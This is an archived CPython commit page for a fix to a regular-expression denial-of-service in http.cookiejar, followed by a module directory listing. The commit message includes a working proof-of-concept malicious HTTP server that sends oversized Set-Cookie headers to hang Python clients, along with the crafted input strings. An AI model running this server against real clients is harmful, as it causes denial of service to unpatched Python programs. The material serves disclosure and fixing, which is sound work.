Staging
v0.5.1
https://github.com/python/cpython
Revision a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC, committed by GitHub on 22 November 2019, 14:42:06 UTC

The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  GH- Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  GH- Can GET e.g. /100 to test shorter sequences
                if len(self.path) > 1 else
                65506  GH- Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  GH- Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)

Co-authored-by: bcaller <bcaller@users.noreply.github.com>
1 parent c3cd0de
History
Tip revision: a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 authored by Miss Islington (bot) on 22 November 2019, 14:42:06 UTC
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
Tip revision: a1e1be4
File Mode Size
_blake2
_ctypes
_decimal
_io
_multiprocessing
_sha3
_sqlite
_ssl
_xxtestfuzz
cjkcodecs
clinic
expat
README -rw-r--r-- 112 bytes
Setup -rw-r--r-- 14.4 KB
_abc.c -rw-r--r-- 21.8 KB
_asynciomodule.c -rw-r--r-- 85.8 KB
_bisectmodule.c -rw-r--r-- 8.0 KB
_bz2module.c -rw-r--r-- 23.8 KB
_codecsmodule.c -rw-r--r-- 32.3 KB
_collectionsmodule.c -rw-r--r-- 78.4 KB
_contextvarsmodule.c -rw-r--r-- 1.9 KB
_cryptmodule.c -rw-r--r-- 1.5 KB
_csv.c -rw-r--r-- 49.6 KB
_curses_panel.c -rw-r--r-- 17.1 KB
_cursesmodule.c -rw-r--r-- 126.7 KB
_datetimemodule.c -rw-r--r-- 214.5 KB
_dbmmodule.c -rw-r--r-- 13.8 KB
_elementtree.c -rw-r--r-- 125.5 KB
_functoolsmodule.c -rw-r--r-- 43.4 KB
_gdbmmodule.c -rw-r--r-- 19.4 KB
_hashopenssl.c -rw-r--r-- 28.6 KB
_heapqmodule.c -rw-r--r-- 21.5 KB
_json.c -rw-r--r-- 60.3 KB
_localemodule.c -rw-r--r-- 19.3 KB
_lsprof.c -rw-r--r-- 25.8 KB
_lzmamodule.c -rw-r--r-- 46.8 KB
_math.c -rw-r--r-- 7.3 KB
_math.h -rw-r--r-- 1007 bytes
_opcode.c -rw-r--r-- 2.1 KB
_operator.c -rw-r--r-- 48.6 KB
_pickle.c -rw-r--r-- 228.2 KB
_posixsubprocess.c -rw-r--r-- 26.5 KB
_queuemodule.c -rw-r--r-- 11.9 KB
_randommodule.c -rw-r--r-- 17.7 KB
_scproxy.c -rw-r--r-- 6.0 KB
_sre.c -rw-r--r-- 75.9 KB
_ssl.c -rw-r--r-- 188.6 KB
_ssl_data.h -rw-r--r-- 67.9 KB
_stat.c -rw-r--r-- 15.8 KB
_statisticsmodule.c -rw-r--r-- 4.8 KB
_struct.c -rw-r--r-- 65.0 KB
_testbuffer.c -rw-r--r-- 82.2 KB
_testcapimodule.c -rw-r--r-- 183.0 KB
_testimportmultiple.c -rw-r--r-- 1.1 KB
_testinternalcapi.c -rw-r--r-- 819 bytes
_testmultiphase.c -rw-r--r-- 17.7 KB
_threadmodule.c -rw-r--r-- 48.6 KB
_tkinter.c -rw-r--r-- 91.4 KB
_tracemalloc.c -rw-r--r-- 43.4 KB
_uuidmodule.c -rw-r--r-- 1.8 KB
_weakref.c -rw-r--r-- 4.5 KB
_winapi.c -rw-r--r-- 59.3 KB
_xxsubinterpretersmodule.c -rw-r--r-- 64.9 KB
addrinfo.h -rw-r--r-- 5.9 KB
arraymodule.c -rw-r--r-- 88.2 KB
atexitmodule.c -rw-r--r-- 8.9 KB
audioop.c -rw-r--r-- 57.2 KB
binascii.c -rw-r--r-- 53.8 KB
cmathmodule.c -rw-r--r-- 42.3 KB
config.c.in -rw-r--r-- 1.6 KB
errnomodule.c -rw-r--r-- 28.1 KB
faulthandler.c -rw-r--r-- 39.0 KB
fcntlmodule.c -rw-r--r-- 19.9 KB
gc_weakref.txt -rw-r--r-- 11.2 KB
gcmodule.c -rw-r--r-- 64.3 KB
getaddrinfo.c -rw-r--r-- 18.4 KB
getbuildinfo.c -rw-r--r-- 1.3 KB
getnameinfo.c -rw-r--r-- 6.2 KB
getpath.c -rw-r--r-- 40.5 KB
grpmodule.c -rw-r--r-- 8.3 KB
hashlib.h -rw-r--r-- 2.1 KB
hashtable.c -rw-r--r-- 14.1 KB
hashtable.h -rw-r--r-- 6.2 KB
itertoolsmodule.c -rw-r--r-- 148.4 KB
ld_so_aix.in -rw-r--r-- 6.1 KB
main.c -rw-r--r-- 17.1 KB
makesetup -rwxr-xr-x 7.7 KB
makexp_aix -rwxr-xr-x 3.2 KB
mathmodule.c -rw-r--r-- 98.8 KB
md5module.c -rw-r--r-- 15.0 KB
mmapmodule.c -rw-r--r-- 46.7 KB
nismodule.c -rw-r--r-- 11.7 KB
ossaudiodev.c -rw-r--r-- 36.1 KB
overlapped.c -rw-r--r-- 51.7 KB
parsermodule.c -rw-r--r-- 40.5 KB
posixmodule.c -rw-r--r-- 378.3 KB
posixmodule.h -rw-r--r-- 837 bytes
pwdmodule.c -rw-r--r-- 8.1 KB
pyexpat.c -rw-r--r-- 57.3 KB
readline.c -rw-r--r-- 37.3 KB
resource.c -rw-r--r-- 12.4 KB
rotatingtree.c -rw-r--r-- 3.4 KB
rotatingtree.h -rw-r--r-- 924 bytes
selectmodule.c -rw-r--r-- 76.7 KB
sha1module.c -rw-r--r-- 14.1 KB
sha256module.c -rw-r--r-- 22.2 KB
sha512module.c -rw-r--r-- 27.5 KB
signalmodule.c -rw-r--r-- 44.9 KB
socketmodule.c -rw-r--r-- 240.2 KB
socketmodule.h -rw-r--r-- 7.3 KB
spwdmodule.c -rw-r--r-- 5.9 KB
sre.h -rw-r--r-- 2.8 KB
sre_constants.h -rw-r--r-- 2.8 KB
sre_lib.h -rw-r--r-- 52.2 KB
symtablemodule.c -rw-r--r-- 3.2 KB
syslogmodule.c -rw-r--r-- 9.4 KB
termios.c -rw-r--r-- 20.4 KB
testcapi_long.h -rw-r--r-- 6.8 KB
timemodule.c -rw-r--r-- 51.8 KB
tkappinit.c -rw-r--r-- 4.7 KB
tkinter.h -rw-r--r-- 881 bytes
unicodedata.c -rw-r--r-- 43.8 KB
unicodedata_db.h -rw-r--r-- 524.3 KB
unicodename_db.h -rw-r--r-- 2.1 MB
winreparse.h -rw-r--r-- 1.6 KB
xxlimited.c -rw-r--r-- 7.0 KB
xxmodule.c -rw-r--r-- 12.6 KB
xxsubtype.c -rw-r--r-- 10.8 KB
zlibmodule.c -rw-r--r-- 41.6 KB

README

back to top